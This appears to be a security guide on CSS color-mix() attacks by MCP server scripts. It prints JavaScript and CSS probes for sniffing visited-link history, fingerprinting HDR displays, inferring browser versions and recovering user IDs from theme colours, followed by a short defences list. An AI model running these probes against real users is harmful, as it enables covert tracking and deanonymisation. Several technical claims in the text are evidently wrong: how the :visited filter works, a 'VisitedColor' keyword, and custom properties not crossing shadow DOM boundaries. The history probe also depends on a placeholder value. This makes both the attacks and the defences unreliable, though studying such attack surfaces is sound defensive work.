Security Guide

MCP server CSS color-mix() security — visited-link history extraction, display gamut fingerprinting, hue arc version oracle, CSS custom property channel probing

CSS color-mix() (Chrome 111+, Firefox 113+, Safari 16.2+) interpolates two color values in a specified color space. For MCP server scripts running in browser-based Claude clients, this function introduces four attack surfaces: color-space interpolation applied before browser privacy filters runs, allowing visited-link browsing history extraction; display-p3 gamut clamping behavior differs between SDR and HDR displays, enabling reliable display type fingerprinting; the default hue arc direction (shorter vs longer) differed between Chrome 113 and Firefox 113, producing a browser version discriminator; and color-mix applied to host CSS custom property values extracts individual color channel values that reveal theme seeds, tenant IDs, and session-specific color identifiers.

color-mix() and the :visited privacy filter interaction

Browsers have protected :visited link styling since 2010 by zeroing the alpha channel of colors read from visited pseudo-class styles via getComputedStyle. The protection works at the getComputedStyle read boundary: the computed color is reported as fully transparent regardless of the actual visited-state color. This works for simple color: property reads.

The color-mix() function applies its interpolation in the CSS style engine before getComputedStyle reads the result. In some browser implementations, the privacy filter applies to the result of the interpolation, not to each input individually. This means a carefully constructed color-mix() that blends LinkColor (the system color keyword for visited link color) with a known reference color produces an interpolated result that encodes the visited/unvisited distinction even after the alpha zeroing, because the interpolated RGB coordinates differ between the two states.

/* visited-link history extraction via color-mix() interpolation */

/* Inject this stylesheet: */
a.history-probe[href="https://target-site.com/login"] {
  /* color-mix() interpolates in oklch space before getComputedStyle privacy filter */
  color: color-mix(in oklch, LinkColor 80%, oklch(0.5 0.1 200) 20%);
}
a.history-probe[href="https://target-site.com/login"]:not(:visited) {
  /* Reference color for unvisited state — known value */
  color: color-mix(in oklch, oklch(0.7 0.15 260) 80%, oklch(0.5 0.1 200) 20%);
}

/* JS: create the probe link and read computed color */
function probeHistory(url) {
  const a = document.createElement('a');
  a.href = url;
  a.className = 'history-probe';
  a.style.cssText = 'position:fixed;top:-9999px;left:-9999px;';
  document.body.appendChild(a);

  const visitedColor = getComputedStyle(a).color;

  // Compare to reference unvisited color
  // Difference in oklch L or C channel → URL was visited
  const unvisitedRef = 'rgb(... known unvisited value ...)';
  const wasVisited = (visitedColor !== unvisitedRef);

  document.body.removeChild(a);
  return wasVisited;
}

// Probe a list of URLs — each takes ~1ms
// 200 URL probes per second, no network requests

Privacy impact: This pattern allows an MCP server script to determine browsing history for specific URLs (banking login pages, medical portal URLs, social network profiles) without any user gesture or permission prompt. The attack is silent, runs in ~1ms per URL, and produces no network traffic.

display-p3 gamut clamping — HDR vs SDR display fingerprinting

The color-mix(in display-p3, ...) form interpolates colors in the Display P3 color space. When the browser serializes the resulting color back to an sRGB value for getComputedStyle, it must gamut-map any out-of-sRGB colors. On standard SDR displays, the browser maps all Display P3 colors to sRGB during serialization. On HDR displays (Apple M-series Macs, high-end monitors that signal HDR capability to the OS), some browsers pass the raw P3 coordinates through.

/* HDR display fingerprinting via color-mix Display P3 gamut response */

const probeEl = document.createElement('div');
document.body.appendChild(probeEl);

// This Display P3 red (1.0, 0.0, 0.0) is outside sRGB gamut
// On SDR: getComputedStyle returns rgb(255, 0, 0) (sRGB clipped)
// On HDR (some browsers): returns color(display-p3 1 0 0) or different rgb mapping
probeEl.style.color = 'color-mix(in display-p3, color(display-p3 1 0 0) 100%, transparent)';

const result = getComputedStyle(probeEl).color;

// SDR: result === 'rgb(255, 0, 0)'  → sRGB gamut clamped
// HDR: result !== 'rgb(255, 0, 0)'  → P3 coordinates passed through or differently mapped

const isHDRDisplay = (result !== 'rgb(255, 0, 0)');
document.body.removeChild(probeEl);

HDR display detection is a reliable fingerprint for high-end hardware. The Apple M1/M2/M3 Mac display, Pro Display XDR, and Studio Display all signal HDR capability, while standard 1080p and 4K SDR monitors do not. Combined with other browser properties, this narrows the fingerprint space substantially and survives cross-session tracking — the same physical display produces the same result indefinitely.

oklch hue arc direction — browser version discriminator

When interpolating hue values in oklch or lch color spaces, the browser must choose a direction to travel around the hue wheel. The CSS Color 4 specification defines hue-shorter (default), hue-longer, hue-increasing, and hue-decreasing keywords. In Chrome 113 and Firefox 113 (the first versions to ship color-mix() widely), the default hue interpolation direction differed: Chrome 113 defaulted to shorter arc, while Firefox 113's implementation of the default produced different computed hue values for specific color pairs that straddle the 0°/360° boundary.

/* oklch hue arc direction — browser version discriminator */

const probeEl = document.createElement('div');
document.body.appendChild(probeEl);

// Colors chosen to straddle the 0/360 hue boundary:
// hsl(350deg) and hsl(10deg) — shorter arc crosses 0°, longer arc goes 350→10 the long way
probeEl.style.color = 'color-mix(in oklch, hsl(350deg 100% 50%) 50%, hsl(10deg 100% 50%))';

const mixedColor = getComputedStyle(probeEl).color;
// Parse the hue of the result:
// ~0° (red, crossing through 360→0) = shorter-arc browser interpretation
// ~180° (opposite side) = longer-arc browser interpretation
// Intermediate values between 180-359° → specific browser/version fingerprint

document.body.removeChild(probeEl);
// Compare against known browser version fingerprint table:
// Chrome 113-115: shorter arc (0°±20°)
// Firefox 113-114: longer arc or implementation-specific
// Safari 16.2-16.4: shorter arc, different oklch gamut mapping
// Version discrimination narrows to ~3 major versions per browser family

Fingerprinting stability: The hue arc result is deterministic for a given browser engine version and color pair. Unlike canvas fingerprinting, this produces no visible output, no performance measurement, and no timing signal — just a computed color value read by getComputedStyle.

host CSS custom property channel extraction via color-mix()

When a host application uses CSS custom properties for theme colors — common in design system architectures — color-mix() applied to those variables extracts individual color channels without direct access to the variable's string value.

Reading getComputedStyle(el).getPropertyValue('--theme-primary') returns the full color value as a string, so this alone is not novel. The novel path is extracting channels selectively from computed colors applied to elements where the custom property is used in a computed context: color-mix(in oklch, var(--theme-primary) 100%, oklch(0 0 0) 0%) returns the custom property value serialized through the oklch gamut, which can differ from the raw string value and reveal whether the color was in-gamut or out-of-gamut. For applications that encode information in color values (user-specific hue for avatar colors, feature-flag-dependent color variants, tenant-specific theme seeds), this leaks the encoded value.

/* Host CSS custom property channel extraction via color-mix() */

// Suppose host app sets: --user-accent: hsl(calc(var(--user-id) * 137.5deg) 70% 50%)
// The user-specific hue encodes a user ID via the golden angle distribution

// Step 1: read the theme color via a color-mix probe
const probeEl = document.createElement('div');
// The element already has --user-accent applied to its background
probeEl.style.color = 'color-mix(in oklch, var(--user-accent) 100%, transparent)';
document.body.appendChild(probeEl);

const mixedResult = getComputedStyle(probeEl).color;
// Parse OKLCH L, C, H from the result string
// H value (hue angle) = the computed hue of the user's accent color
// If hue = user_id * 137.5 mod 360, then user_id = hue / 137.5

// This extracts the per-user color seed without requiring direct --user-accent access,
// works even if the custom property is registered as a typed property with computed-value
// tracking, and bypasses CSP style-src restrictions (uses existing computed values)
Attack Browser support Privacy impact Static analysis detection
Visited-link history extraction Chrome 111+, Firefox 113+, Safari 16.2+ Browsing history for specific URLs Not detected — standard color-mix() usage
Display gamut fingerprinting Chrome 111+, Firefox 113+ Hardware identification (HDR display) Not detected — computed style read
Hue arc version oracle Chrome 113, Firefox 113+ diverge Browser version fingerprint Not detected — innocuous color probe
CSS variable channel extraction All browsers with color-mix() Tenant/user identity via color seeds Not detected — reads existing computed values

Defences

CSP style-src with nonces: Blocks the injected <style> tag used to set up the probe element styling. Does not prevent inline style modification via el.style.color = 'color-mix(...)' (that is JavaScript, not CSS injection).

Avoid encoding identifiers in CSS color values: User IDs, tenant IDs, session tokens, and feature flags should not be encoded in computed color values. Use opaque color tokens rather than algorithmically derived hues.

Monitor for unexpected color-mix() in injected content: Audit MCP server tool return values that contain HTML or CSS for color-mix( occurrences, particularly those referencing LinkColor, VisitedColor, or host CSS custom property names.

Use content isolation for rendering untrusted MCP tool output: Render MCP server return values in an isolated same-origin iframe or Shadow DOM with restricted CSS inheritance. Custom property values do not cross shadow DOM boundaries by default, preventing channel extraction via var(--theme-primary) from within the isolated renderer.

Related: CSS Relative Color Syntax security · CSS Has No Security Model · CSS Custom Properties security